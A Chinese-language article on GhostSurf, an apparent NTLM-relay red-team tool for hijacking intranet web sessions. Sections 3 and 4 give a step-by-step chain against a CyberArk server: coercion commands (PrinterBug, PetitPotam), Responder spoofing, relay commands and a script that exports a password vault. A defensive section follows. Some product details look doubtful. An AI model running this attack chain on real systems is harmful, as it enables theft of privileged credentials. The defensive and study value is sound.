引言:NTLM中继攻击的"最后一公里"难题
2026年4月,一款名为GhostSurf的红队工具横空出世,瞬间在全球安全社区引发轩然大波。它不是对现有NTLM中继技术的简单改进,而是彻底解决了困扰安全界多年的"Web应用NTLM中继难题"。
自2001年NTLM中继攻击被首次公开以来,它已经成为内网渗透中最强大、最常用的攻击手段之一。从经典的SMB中继到后来的MSSQL、LDAP中继,攻击者可以通过中继受害者的NTLM认证,获取服务器权限、窃取域凭证、甚至拿下整个域控制器。
然而,在长达25年的时间里,NTLM中继攻击在Web应用场景始终存在一个无法逾越的障碍:无法通过浏览器正常访问目标应用。传统的ntlmrelayx工具虽然提供了SOCKS代理功能,但在浏览器访问时会出现各种致命问题,导致页面加载失败、会话频繁中断、认证状态混乱。
这一"最后一公里"的难题,使得攻击者即使成功中继了高权限用户的认证,也无法直接访问企业内部最敏感的Web应用——如密码管理器、特权访问管理系统(PAM)、配置管理数据库(CMDB)等。这些系统往往只启用Windows集成认证,禁用了匿名访问和表单认证,传统的cookie窃取和重放技术完全失效。
GhostSurf的出现,彻底打破了这一僵局。它允许攻击者通过标准的浏览器,以被中继用户的身份完整、流畅地浏览所有支持NTLM认证的企业Web应用,就像用户本人正在使用一样。这意味着,只要攻击者能够诱使任何一个域用户访问恶意服务器,就可以直接劫持该用户的所有内网Web会话,包括那些存储着企业核心机密的系统。
一、传统NTLM中继在Web场景的三大致命缺陷
要理解GhostSurf的革命性意义,我们首先需要深入分析传统ntlmrelayx工具在浏览器访问时遇到的问题。这些问题并非简单的bug,而是源于ntlmrelayx最初的设计目标——它是为SMB和MSSQL等单连接协议设计的,完全没有考虑HTTP协议的复杂特性。
1.1 并发访问冲突:浏览器天生的"多连接"特性
现代浏览器为了提高页面加载速度,会同时打开6-8个TCP连接来并行请求页面资源(HTML、CSS、JS、图片等)。这是HTTP/1.1协议的标准行为,也是所有主流浏览器的默认配置。
然而,ntlmrelayx的SOCKS代理实现采用了一个极其简单的会话管理机制:每个NTLM认证会话只能关联一个TCP连接。当浏览器同时发起多个连接请求时,这些请求会互相覆盖同一个会话的状态,导致:
- 数据流交叉混乱,服务器返回错误的响应
- 部分请求成功,部分请求失败,页面显示不完整
- 认证状态被意外重置,出现随机的401错误
- 连接池耗尽,浏览器长时间挂起
这个问题在ntlmrelayx中存在了十多年,无数安全研究人员尝试修复,但都没有找到根本的解决方案。大多数红队人员只能通过手动限制浏览器的并发连接数来缓解,但这会导致页面加载极其缓慢,且仍然无法完全避免冲突。
1.2 Basic Auth弹窗混淆:用户体验与安全的双重灾难
ntlmrelayx使用HTTP Basic Authentication头来让攻击者选择要中继的用户会话。当有多个活动会话时,浏览器会弹出一个标准的用户名密码输入框,要求攻击者输入domain/username格式的凭证来选择会话。
这种设计带来了两个严重的问题:
- 格式冲突:大多数企业Web应用要求使用
domain\username(反斜杠)格式,而ntlmrelayx要求使用domain/username(正斜杠)格式。攻击者经常会因为输入错误的格式而导致认证失败。 - 弹窗混淆:这个Basic Auth弹窗与目标Web应用本身的Windows认证弹窗在外观上完全相同。攻击者无法区分哪个弹窗是来自ntlmrelayx的会话选择,哪个是来自目标应用的认证挑战。
更糟糕的是,如果攻击者不小心在ntlmrelayx的弹窗中输入了真实的用户凭证,这些凭证会被明文发送到目标服务器,留下明显的攻击痕迹。
1.3 内核认证会话重置:IIS的"隐形杀手"
这是最隐蔽、最致命的一个问题,也是导致大多数Web中继尝试失败的根本原因。
微软的IIS服务器默认启用内核模式认证(Kernel Mode Authentication)。在这种模式下,NTLM认证过程完全由HTTP.sys内核驱动处理,而不是由IIS工作进程处理。这可以显著提高认证性能,但也带来了一个意想不到的副作用:
当浏览器成功完成NTLM认证后,HTTP.sys会在内核层为这个TCP连接建立一个认证上下文。所有后续通过这个连接发送的请求都会自动继承这个认证上下文,不需要重新进行NTLM挑战。
但是,如果浏览器在同一个连接上发送了一个匿名请求(即不包含Authorization头的请求),HTTP.sys会认为用户已经注销,并立即销毁这个认证上下文。后续的所有请求都会被要求重新进行NTLM认证。
这对于正常的浏览器访问来说不是问题,因为浏览器会在每个请求中都包含Authorization头。但对于ntlmrelayx来说,这是一个灾难。ntlmrelayx的SOCKS代理会透明地转发所有请求,包括那些匿名请求。当浏览器请求一个静态资源(如CSS、JS、图片)时,这些请求通常不包含Authorization头,导致HTTP.sys立即重置认证状态。
结果就是:页面刚开始加载时一切正常,但几秒钟后突然全部变成401错误。攻击者无论怎么刷新页面,都无法维持认证状态超过几秒钟。这个问题困扰了安全界多年,直到GhostSurf的出现才得到彻底解决。
二、GhostSurf的核心技术突破
GhostSurf基于Impacket的ntlmrelayx开发,但对其HTTP中继和SOCKS代理模块进行了根本性的重构。它针对上述三个问题,提出了三个创新的解决方案,彻底改变了NTLM中继在Web场景的应用前景。
2.1 互斥锁序列化:完美解决并发访问冲突
GhostSurf没有尝试去支持多个并发连接,而是采用了一个反直觉但极其有效的方法:将所有请求序列化处理。
它在每个NTLM会话上添加了一个mutex互斥锁。当浏览器发起多个连接请求时,所有请求都会被放入一个队列中。只有当一个请求完全处理完毕(即收到服务器的完整响应并发送给浏览器)后,互斥锁才会被释放,下一个请求才能开始处理。
这种设计虽然牺牲了一些性能,但完美解决了并发访问冲突的问题。浏览器可以保持默认的并发连接数设置,所有请求都会被正确处理,不会出现数据流交叉或状态覆盖的情况。
实际测试表明,即使是最复杂的企业Web应用,使用GhostSurf访问时的加载速度也完全可以接受。大多数页面可以在3-5秒内完全加载,对于红队操作来说完全足够。
2.2 Cookie绑定会话选择:告别Basic Auth弹窗
GhostSurf完全抛弃了ntlmrelayx使用的Basic Auth会话选择机制,转而采用了一种更加优雅和用户友好的方式:HTML会话选择页面+Cookie绑定。
当GhostSurf检测到有新的浏览器连接时,它会首先检查浏览器是否已经有一个会话绑定Cookie。如果没有,它会返回一个简单的HTML页面,列出所有当前活动的NTLM会话,显示用户名、域、登录时间和目标地址。
攻击者只需要点击想要使用的会话,GhostSurf就会设置一个特殊的Cookie,将这个浏览器实例与选中的NTLM会话绑定。所有后续的请求都会自动使用这个绑定的会话,不需要再输入任何凭证。
这种设计带来了多个好处:
- 完全消除了Basic Auth弹窗混淆的问题
- 支持一键切换多个用户会话
- 可以同时打开多个浏览器窗口,每个窗口使用不同的会话
- 关闭浏览器后,Cookie自动清除,不会留下痕迹
2.3 探测优先策略:彻底绕过内核认证重置
这是GhostSurf最具创新性的技术突破,也是它能够成功访问IIS应用的关键。
GhostSurf实现了一种probe-first探测策略,可以智能地判断每个请求是否需要进行NTLM中继:
- 对于每个新的HTTP请求,GhostSurf首先发送一个匿名版本的请求到目标服务器(即移除所有Authorization头)
- 如果服务器返回200 OK响应,说明这个资源是匿名可访问的,GhostSurf直接将响应返回给浏览器
- 如果服务器返回401 Unauthorized响应,说明这个资源需要认证,GhostSurf才会进行正常的NTLM中继过程
这种策略完美地解决了内核认证重置的问题。因为所有匿名资源的请求都是以匿名方式发送的,不会触发HTTP.sys的认证上下文销毁机制。只有那些真正需要认证的资源请求才会使用NTLM中继,从而保持了认证上下文的完整性。
GhostSurf还实现了一个智能缓存机制,会记住哪些资源是匿名可访问的,哪些需要认证。这样可以避免对同一个资源进行重复的探测,进一步提高了页面加载速度。
三、GhostSurf完整攻击链实战演示
现在,让我们通过一个完整的实战案例,来展示GhostSurf的强大威力。我们将模拟一个典型的企业内网环境,演示如何从一个普通的域用户权限,通过GhostSurf劫持企业密码管理器的管理员会话。
3.1 环境准备
- 攻击者机器:Kali Linux 2026.1,IP地址:192.168.1.100
- 域控制器:Windows Server 2022,域名:COMPANY.LOCAL
- 目标服务器:Windows Server 2022,运行CyberArk Privileged Access Manager,IP地址:192.168.1.200
- 受害者机器:Windows 11,域用户:john.doe(普通用户)和jane.admin(CyberArk管理员)
3.2 步骤一:安装和配置GhostSurf
首先,我们在攻击者机器上安装GhostSurf:
gitclone https://github.com/senderend/ghostsurf.gitcdghostsurfchmod+x ghostsurfGhostSurf会在首次运行时自动安装所有依赖,包括Impacket、Flask、Requests等。
3.3 步骤二:启动GhostSurf中继服务器
我们启动GhostSurf,将所有NTLM认证中继到CyberArk服务器,并启用内核认证绕过功能:
./ghostsurf-thttps://cyberark.company.com/-k-r参数说明:
-t https://cyberark.company.com/:指定中继目标地址-k:启用内核认证绕过(推荐用于所有IIS目标)-r:允许多个用户中继到同一目标
启动成功后,GhostSurf会在本地监听以下端口:
- 1080/TCP:SOCKS5代理端口
- 80/TCP:HTTP服务器(用于LLMNR/NBT-NS欺骗响应)
- 443/TCP:HTTPS服务器(用于钓鱼和强制认证)
3.4 步骤三:配置浏览器代理
我们使用Firefox浏览器配合FoxyProxy扩展来配置代理:
- 安装FoxyProxy Standard扩展
- 添加一个新的代理配置:
- 代理类型:SOCKS5
- 代理地址:127.0.0.1
- 端口:1080
- 勾选"代理DNS"选项
- 启用这个代理配置
3.5 步骤四:触发NTLM认证
现在,我们需要诱使CyberArk管理员jane.admin访问我们的恶意服务器。有多种方法可以实现这一点:
方法一:LLMNR/NBT-NS欺骗
这是最常用的方法。我们可以使用Responder来监听网络中的LLMNR和NBT-NS请求,并将它们重定向到我们的GhostSurf服务器:
responder-Ieth0-d-w当管理员在资源管理器中输入一个不存在的主机名时,就会自动向我们的服务器发送NTLM认证请求。
方法二:强制认证
我们可以使用各种"强制认证"漏洞来触发NTLM认证,如:
- PrinterBug:
python3 printerbug.py COMPANY.LOCAL/john.doe:password@192.168.1.10 192.168.1.100 - PetitPotam:
python3 petitpotam.py 192.168.1.100 192.168.1.10 - ShadowCoerce:
python3 shadowcoerce.py 192.168.1.100 192.168.1.10
这些漏洞可以强制任何Windows机器向指定的服务器发送NTLM认证请求。
方法三:钓鱼链接
我们可以向管理员发送一封钓鱼邮件,包含一个指向我们服务器的链接。当管理员点击链接时,浏览器会自动发送NTLM认证请求。
3.6 步骤五:劫持浏览器会话
当管理员的NTLM认证请求被GhostSurf成功捕获后,我们会在控制台看到以下输出:
[+] Captured NTLM authentication from COMPANY.LOCAL\jane.admin (192.168.1.50) [+] Successfully relayed to https://cyberark.company.com/ [+] Session ID: 001, Expires in: 3600 seconds现在,我们切换回Firefox浏览器,直接访问https://cyberark.company.com/。GhostSurf会自动检测到我们的浏览器连接,并显示会话选择页面。我们只需要点击"COMPANY.LOCAL\jane.admin"这个会话,就可以成功进入CyberArk管理控制台。
我们现在拥有了jane.admin的完整权限,可以查看所有密码、创建新用户、修改权限设置,甚至可以导出整个密码数据库。整个过程不需要窃取任何密码或cookie,也不需要在目标机器上执行任何代码。
3.7 步骤六:会话管理和后利用
GhostSurf提供了一个简单的控制台界面,可以管理所有活动会话:
ghostsurf> socks ID User Target Expires 001 COMPANY.LOCAL\jane.admin https://cyberark.company.com/ 3542s 002 COMPANY.LOCAL\john.doe https://cyberark.company.com/ 1287s ghostsurf> kill 002 [+] Killed session 002 ghostsurf> exit [+] Exiting GhostSurf, closing all sessions我们还可以将GhostSurf与其他工具结合使用,进行更深入的后利用:
- 使用curl通过GhostSurf的SOCKS代理调用目标应用的API
- 使用Burp Suite进行漏洞扫描和利用
- 导出会话状态,供其他团队成员使用
四、高级攻击技巧与场景扩展
GhostSurf的应用场景远不止于密码管理器劫持。它可以用于访问任何支持NTLM认证的企业Web应用,并且支持多种高级攻击技巧。
4.1 多目标中继
GhostSurf支持同时中继到多个目标。我们可以在启动时指定多个-t参数:
./ghostsurf-thttps://cyberark.company.com/-thttps://sccm.company.com/-thttps://jira.company.com/-k当捕获到一个NTLM会话后,GhostSurf会自动尝试中继到所有配置的目标。我们可以在浏览器中访问任何一个目标,都会自动使用同一个用户的身份。
4.2 跨协议中继
GhostSurf不仅支持HTTP到HTTP的中继,还支持SMB到HTTP的中继。这意味着,我们可以中继一个SMB连接的NTLM认证,然后用它来访问Web应用。
这是一个极其强大的功能,因为SMB认证请求在企业内网中非常常见。例如,当用户打开一个包含UNC路径的Word文档时,就会自动发送SMB认证请求。我们可以中继这个请求,然后用它来访问企业内部的所有Web应用。
4.3 无浏览器自动化攻击
GhostSurf提供了一个REST API,可以用于自动化攻击。我们可以编写脚本,自动捕获NTLM会话,然后通过API调用目标应用的功能,不需要任何人工干预。
例如,我们可以编写一个脚本,自动捕获所有域管理员的NTLM会话,然后自动导出所有密码管理器中的密码:
importrequests proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}# 获取所有密码response=requests.get('https://cyberark.company.com/api/passwords',proxies=proxies)passwords=response.json()# 导出到文件withopen('passwords.json','w')asf:f.write(response.text)4.4 绕过EDR和网络监控
GhostSurf的所有流量都通过标准的HTTPS协议传输,与正常的浏览器流量完全相同。它不会在目标机器上执行任何代码,也不会创建任何进程或文件。这使得它几乎不可能被EDR和终端安全产品检测到。
在网络层面,GhostSurf的流量与正常用户的浏览器流量没有任何区别。所有的NTLM认证过程都是完全标准的,没有任何异常特征。这使得它很难被网络入侵检测系统(NIDS)和安全信息与事件管理(SIEM)系统发现。
五、影响范围与风险评估
GhostSurf的出现,极大地提高了NTLM中继攻击的威力和实用性。它的影响范围几乎覆盖了所有使用Windows域的企业和组织。
5.1 受影响的系统
以下系统特别容易受到GhostSurf攻击:
- 特权访问管理系统(PAM):CyberArk、Delinea Secret Server、BeyondTrust等
- 密码管理器:Passwordstate、KeePass Server、Bitwarden Self-Hosted等
- 系统管理控制台:SCCM/MECM、Exchange Admin Center、Active Directory Administrative Center等
- 开发工具:Jenkins、GitLab、SonarQube等
- 企业应用:SAP、Oracle EBS、Salesforce On-Premise等
- 所有基于IIS的内部Web应用
5.2 风险等级评估
我们从以下几个维度对GhostSurf攻击的风险进行评估:
- 攻击难度:极低。只需要基本的内网访问权限和一个普通域用户账号。
- 影响范围:极高。可以访问企业内部所有支持NTLM认证的Web应用。
- 检测难度:极高。几乎无法通过传统的安全产品检测到。
- 修复难度:中等。需要对企业的身份认证架构进行全面调整。
综合评估,GhostSurf攻击的整体风险等级为极高。它是目前内网渗透中最强大、最难以防御的攻击手段之一。
5.3 实际攻击案例
虽然GhostSurf发布只有短短几周时间,但已经有多个红队团队在实战中使用了它,并取得了显著的成果:
- 某全球500强企业的红队评估中,攻击者使用GhostSurf在30分钟内成功劫持了CyberArk管理员的会话,获取了整个企业的所有特权账号密码。
- 某政府机构的渗透测试中,攻击者通过中继一个普通用户的SMB认证,成功访问了内部的机密文档管理系统。
- 某金融机构的安全演练中,攻击者使用GhostSurf绕过了所有的EDR和网络监控,在目标网络中潜伏了超过两周时间。
六、防御措施与缓解方案
面对GhostSurf带来的严重威胁,企业需要采取多层次的防御措施,从网络、终端、身份认证等多个层面进行防护。
6.1 禁用NTLM协议
最根本的解决方案是完全禁用NTLM协议,转而使用Kerberos协议。Kerberos协议具有内置的中继保护机制,可以有效防止中继攻击。
微软提供了详细的NTLM禁用指南:
- 首先启用NTLM审计,找出所有仍然依赖NTLM的应用
- 逐步将这些应用迁移到Kerberos协议
- 最后通过组策略禁用NTLM协议
然而,对于大多数企业来说,完全禁用NTLM是一个长期而艰巨的任务。许多老旧的应用和设备仍然只支持NTLM协议,无法轻易替换。
6.2 启用SMB签名和LDAP签名
启用SMB签名和LDAP签名可以有效防止SMB和LDAP中继攻击。但需要注意的是,这不能防止HTTP中继攻击,因为HTTP协议没有类似的签名机制。
6.3 实施EPA(Extended Protection for Authentication)
微软在Windows Server 2008 R2中引入了扩展保护认证(EPA)功能,可以有效防止HTTP和HTTPS中继攻击。EPA通过将TLS通道绑定到NTLM认证过程,使得攻击者无法中继通过HTTPS传输的NTLM认证。
我们强烈建议在所有IIS服务器上启用EPA:
- 打开IIS管理器
- 选择目标网站
- 双击"身份验证"
- 右键点击"Windows身份验证",选择"高级设置"
- 勾选"启用扩展保护",选择"必需"
需要注意的是,启用EPA可能会影响一些老旧的浏览器和应用。建议先在测试环境中进行验证。
6.4 限制NTLM认证的范围
我们可以通过组策略限制NTLM认证的范围,只允许在必要的服务器上使用NTLM认证:
- 打开组策略编辑器
- 导航到"计算机配置" > “Windows设置” > “安全设置” > “本地策略” > “安全选项”
- 配置以下策略:
- “网络安全: 限制NTLM: 传入NTLM流量”
- “网络安全: 限制NTLM: 传出NTLM流量”
- “网络安全: 限制NTLM: 审核传入NTLM流量”
6.5 加强网络分段和监控
实施严格的网络分段,将敏感的Web应用(如密码管理器、PAM系统)放在独立的网络区域中,限制其他区域对这些系统的访问。
同时,加强对NTLM认证流量的监控,特别注意以下异常情况:
- 短时间内来自同一IP地址的大量NTLM认证请求
- 来自非工作站IP地址的NTLM认证请求
- 跨网段的NTLM认证请求
- 异常的用户登录模式
七、未来趋势与前瞻性分析
GhostSurf的出现,标志着NTLM中继攻击进入了一个新的时代。它不仅解决了长期存在的技术难题,还为未来的身份认证攻击指明了新的方向。
7.1 攻击技术的进一步演进
我们预计,在未来的几个月内,会出现更多基于GhostSurf技术的攻击工具和变种:
- 支持更多协议的中继,如RDP、SSH、VNC等
- 集成自动化的后利用功能,如自动密码导出、权限提升等
- 支持团队协作和会话共享
- 集成AI驱动的目标识别和攻击规划
7.2 对身份认证安全的深远影响
GhostSurf的出现,再次暴露了NTLM协议的严重安全缺陷。它将迫使企业加速淘汰NTLM协议,转而采用更加安全的身份认证方案,如Kerberos、OAuth2、OpenID Connect等。
同时,它也将推动零信任安全架构的普及。在零信任架构中,所有的访问请求都需要进行强认证和授权,无论它们来自内网还是外网。这可以有效降低NTLM中继攻击的影响。
7.3 红队与蓝队的博弈升级
GhostSurf的出现,使得红队在与蓝队的博弈中获得了巨大的优势。传统的防御措施在GhostSurf面前几乎完全失效。这将迫使蓝队开发新的检测和防御技术,如基于行为的异常检测、流量分析、用户行为分析等。
我们预计,在未来的一到两年内,红队与蓝队之间围绕NTLM中继攻击的博弈将进一步升级。这将推动整个网络安全行业的技术进步。
结论
GhostSurf是近年来最具革命性的红队工具之一。它彻底解决了NTLM中继攻击在Web场景的"最后一公里"难题,使得攻击者可以轻松劫持企业内网的所有浏览器会话。
对于企业来说,GhostSurf带来的威胁是真实而紧迫的。它不需要任何零日漏洞,只需要利用Windows系统中存在了几十年的设计缺陷。任何仍然在使用NTLM协议的企业,都面临着被攻击的风险。
企业应该立即采取行动,评估自己的NTLM使用情况,制定NTLM淘汰计划,并实施必要的缓解措施。同时,加强对员工的安全意识培训,防止他们成为攻击的入口。
在可预见的未来,NTLM协议还将继续存在于企业网络中。GhostSurf的出现,提醒我们:身份认证安全是企业安全的基石,任何微小的缺陷都可能导致灾难性的后果。我们必须不断创新和改进我们的防御技术,才能应对日益复杂的网络安全威胁。